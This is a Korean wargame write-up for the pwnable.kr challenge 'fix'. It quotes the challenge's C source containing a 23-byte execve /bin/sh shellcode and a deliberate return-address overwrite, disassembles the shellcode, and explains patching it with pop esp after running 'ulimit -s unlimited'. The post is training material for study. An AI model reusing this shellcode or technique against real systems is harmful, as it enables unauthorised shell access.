본문 바로가기

Wargame/pwnable.kr

[stack unlimited, control esp] fix

1. 문제

  • ssh로 접속할 수 있는 정보가 주어진다.

2. 코드 분석

2-1. fix.c

  • shellcode함수에서 sc의 shellcode를 buf에 copy 한다.
  • buf의 RET에 buf를 넣음으로써, buf에 들은 shellcode가 실행되는 것으로 보인다.
#include <stdio.h>

// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void shellcode(){
	// a buffer we are about to exploit!
	char buf[20];

	// prepare shellcode on executable stack!
	strcpy(buf, sc);

	// overwrite return address!
	*(int*)(buf+32) = buf;

	printf("get shell\n");
}

int main(){
        printf("What the hell is wrong with my shellcode??????\n");
        printf("I just copied and pasted it from shell-storm.org :(\n");
        printf("Can you fix it for me?\n");

	unsigned int index=0;
	printf("Tell me the byte index to be fixed : ");
	scanf("%d", &index);
	fflush(stdin);

	if(index > 22)	return 0;

	int fix=0;
	printf("Tell me the value to be patched : ");
	scanf("%d", &fix);

	// patching my shellcode
	sc[index] = fix;	

	// this should work..
	shellcode();
	return 0;
}

2-2. sc 디컴파일

  • eax에 0xb값을 넣어주는 것을 보아, execve함수로 shell을 획득하는 코드인 것 같다.
pwndbg> disassemble 0x804a02c
Dump of assembler code for function sc:
   0x0804a02c <+0>:     xor    eax,eax
   0x0804a02e <+2>:     push   eax
   0x0804a02f <+3>:     push   0x68732f2f
   0x0804a034 <+8>:     push   0x6e69622f
   0x0804a039 <+13>:    mov    ebx,esp
   0x0804a03b <+15>:    push   eax
   0x0804a03c <+16>:    push   ebx
   0x0804a03d <+17>:    mov    ecx,esp
   0x0804a03f <+19>:    add    BYTE PTR [ebx],cl
   0x0804a041 <+21>:    int    0x80
   0x0804a043 <+23>:    add    BYTE PTR [eax],al
End of assembler dump.

2-3. shellcode함수 디컴파일

  • 해당 함수의 ret부분에 sc에 존재하던 shellcode가 존재하는 것을 확인할 수 있다.

 

  • 쉘 코드를 한 줄씩 실행하다가 push eax부분을 실행하니, push ebx가 아닌 다른 코드로 넘어가는 것을 확인할 수 있다.

3. 풀이

  • 쉘 코드가 실행되지 않는 이유 : esp와 eip가 겹쳐짐으로써, 쉘코드가 변조되기 때문이다.

    • push eax가 실행된 직후, esp와 eip의 간격이 얼마 차이 나지 않음을 알 수 있다.
      이로 인해 다음 코드가 실행된다면, esp와 eip가 겹쳐지고 쉘 코드가 변조되는 것이다.

 

  • 해결방안 : stack의 범위를 무제한으로 바꿔주고 push eax 대신, pop esp를 해준다.

    • stack범위를 무제한으로 해주고 pop esp를 해줌으로써, esp가 다른 곳으로 이동하기 때문에, esp와 eip가 겹치지 않아 쉘코드가 정상적으로 실행된다.
    • linux에서 stack 범위를 무제한으로 바꿔주는 명령어
$ ulimit -s unlimited

 

 

 

  • stack범위를 무제한으로 바꿔주는 이유

    • 만약, esp가 할당이 안된 메모리에 접근하게 되었는데, 스택 크기가 처음 정해진 크기의 범위 안이라면, 현재 esp가 가리키는 곳까지 스택의 크기는 확장된다.
    • 이러한 원리를 토대로, stack범위를 무제한으로 바꿔주고 pop esp를 했을 때 esp의 위치까지 stack이 확장되기 때문에, 에러가 발생하지 않는 것이다.

 

 

  • 인덱스가 16이 아닌, 15인 이유

    • 인덱스 16에서 pop esp를 하면, esp에는 0이 들어가기 때문이다.
    • push eax가 없어도 쉘 코드가 실행되는데, 차질이 생기는 코드가 아니기 때문이다.

4. Exploit

 

'Wargame > pwnable.kr' 카테고리의 다른 글

[Fake EBP] simple login  (0) 2022.08.05
[BOF + Canary leak] md5 calculator  (0) 2022.08.01
[BOF] echo1  (0) 2022.07.24